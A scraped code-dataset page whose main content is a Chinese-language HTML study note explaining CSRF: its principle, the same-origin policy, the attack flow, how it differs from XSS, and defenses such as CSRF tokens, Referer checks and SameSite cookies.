CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">responses</span>.<span class="cm-property">callback_public_tokenerr</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 553px;"></div><div class="CodeMirror-gutters" style="display: none; height: 553px;"></div></div></div></pre></div></div>
</body>
</html> |
2740908911/Pilot-Web | 3,750 | pilot-client/pages/csrf/assist/sum-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class=''><ul><li><p><strong><span>CSRF漏洞介绍</span></strong></p><p><span>跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。</span></p></li></ul><p></br></p><ul><li><p><strong><span>CSRF漏洞原理</span></strong></p><p><span>攻击者通过一些技术手段欺骗用户的浏览器去访问一个用户自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求是发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。</span></p></li></ul><p></br></p><ul><li><p><strong><span>CSRF成因拓展之同源策略</span></strong></p><p><span>1995年,同源策略由Netscape公司引入浏览器。目前,所有浏览器都实行这个策略。最初,他的含义是指:A网页设置的Cookie,B网页不能打开,除非这两个网页同源。</span></p><p><span>所谓同源指的是三个相同:协议相同、域名相同、端口相同。</span></p><p><span>详细了解:</span><a href='https://blog.csdn.net/wuli1024/article/details/135414799' target="_blank"><span>CSDN-前端网络安全必修 1 同源策略和CSRF</span></a></p></li></ul><p></br></p><ul><li><p><strong><span>CSRF攻击流程</span></strong></p><ol start='' ><li><p><span>用户正常登录web服务,并一直保持在线。</span></p></li><li><p><span>服务器返回用户凭证Session,并将其保存在Cookie中。</span></p></li><li><p><span>攻击者生成payload,并放置在用户可访问的地方。</span></p></li><li><p><span>攻击者诱导用户点击在第3步放置的链接,此时用户一直在线,且是用同一浏览器打开(保证Cookie未失效)。</span></p></li><li><p><span>用户点击恶意链接。</span></p></li><li><p><span>恶意链接向服务器请求,由于用户Cookie未失效,就携带用户Cookie访问服务器。</span></p></li><li><p><span>服务器收到请求,此时用户Cookie未失效,并判定为用户发起的正常请求,并做出响应。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>CSRF漏洞危害</span></strong></p><p><span>非法操作、数据泄露、拒绝服务等。</span></p></li></ul><p></br></p><ul><li><p><strong><span>CSRF与XSS的区别</span></strong></p><ol start='' ><li><p><span>攻击方式不同:</span></p></li></ol><ul><li><p><span>CSRF攻击利用Web应用程序对请求的不完全验证,攻击者通过欺骗用户在已经登录的Web应用程序中执行恶意操作。</span></p></li><li><p><span>而XSS攻击则是通过在Web页面中注入恶意脚本来实现攻击,当用户浏览受到攻击的页面时,恶意脚本会被执行,从而盗取用户的信息或执行其他恶意操作。</span></p></li></ul><ol start='2' ><li><p><span>目标不同:</span></p></li></ol><ul><li><p><span>CSRF攻击的目标是利用用户的身份执行恶意操作,例如,在用户不知情的情况下,利用用户的账户进行转账或修改密码等操作。</span></p></li><li><p><span>而XSS攻击的目标则是窃取用户的信息,例如,窃取用户的cookie、用户名和密码等敏感信息。</span></p></li></ul><ol start='3' ><li><p><span>防御方式不同:</span></p></li></ol><ul><li><p><span>CSRF攻击的防御需要验证请求的来源和使用随机令牌等方法进行身份验证,避免未经授权的操作。</span></p></li><li><p><span>而XSS攻击的防御需要对输入的数据进行过滤和编码,避免恶意脚本的注入。</span></p></li></ul></li></ul><p></br></p><ul><li><p><strong><span>CSRF漏洞防御</span></strong></p><ol start='' ><li><p><span>添加校验Token或CSRF Token</span></p></li><li><p><span>检查Referer字段</span></p></li><li><p><span>添加其他自定义字段作为前端二次验证,例如时间戳</span></p></li><li><p><span>令牌同步模式(Synchronizer token pattern)</span></p></li><li><p><span>使用验证码或其他二次验证方式</span></p></li><li><p><span>使用SameSite Cookie</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>推荐学习文章</span></strong></p><ol start='' ><li><p><a href='https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/03.CSRF/01.CSRF.html' target="_blank"><span>d4m1ts知识库-CSRF</span></a></p></li><li><p><a href='https://blog.csdn.net/qq_45803593/article/details/124727762' target="_blank"><span>CSDN-CSRF简介</span></a></p></li><li><p><a href='https://blog.csdn.net/leiwuhen92/article/details/128724402' target="_blank"><span>CSDN-CSRF(跨站请求伪造)</span></a></p></li><li><p><a href='https://blog.csdn.net/lady_killer9/article/details/107874328' target="_blank"><span>CSDN-网络安全-跨站请求伪造(CSRF)的原理、攻击及防御</span></a></p></li></ol></li></ul></div></div>
</body>
</html> |
Subsets and Splits
PyTorch Neural Network Imports
This query filters for code examples containing a specific PyTorch import pattern, which is useful for finding code snippets that use PyTorch's neural network module but doesn't provide deeper analytical insights about the dataset.
HTML Files in Train Set
Retrieves all records from the dataset where the file path ends with .html or .htm, providing a basic filter for HTML files.
SQL Console for nick007x/github-code-2025
Retrieves 200 file paths that end with '.html' or '.htm', providing a basic overview of HTML files in the dataset.
Top HTML Files
The query retrieves a sample of HTML file paths, providing basic filtering but limited analytical value.
CSharp Repositories Excluding Unity
Retrieves all records for repositories that contain C# files but are not related to Unity, providing a basic filter of the dataset.
C# File Count per Repository
Counts the total number of C# files across distinct repositories, providing a basic measure of C# file presence.
SQL Console for nick007x/github-code-2025
Lists unique repository IDs containing C# files, providing basic filtering to understand which repositories have C# code.
Select Groovy Files: Train Set
Retrieves the first 1000 entries from the 'train' dataset where the file path ends with '.groovy', providing a basic sample of Groovy files.
GitHub Repos with WiFiClientSecure
Finds specific file paths in repositories that contain particular code snippets related to WiFiClientSecure and ChatGPT, providing basic filtering of relevant files.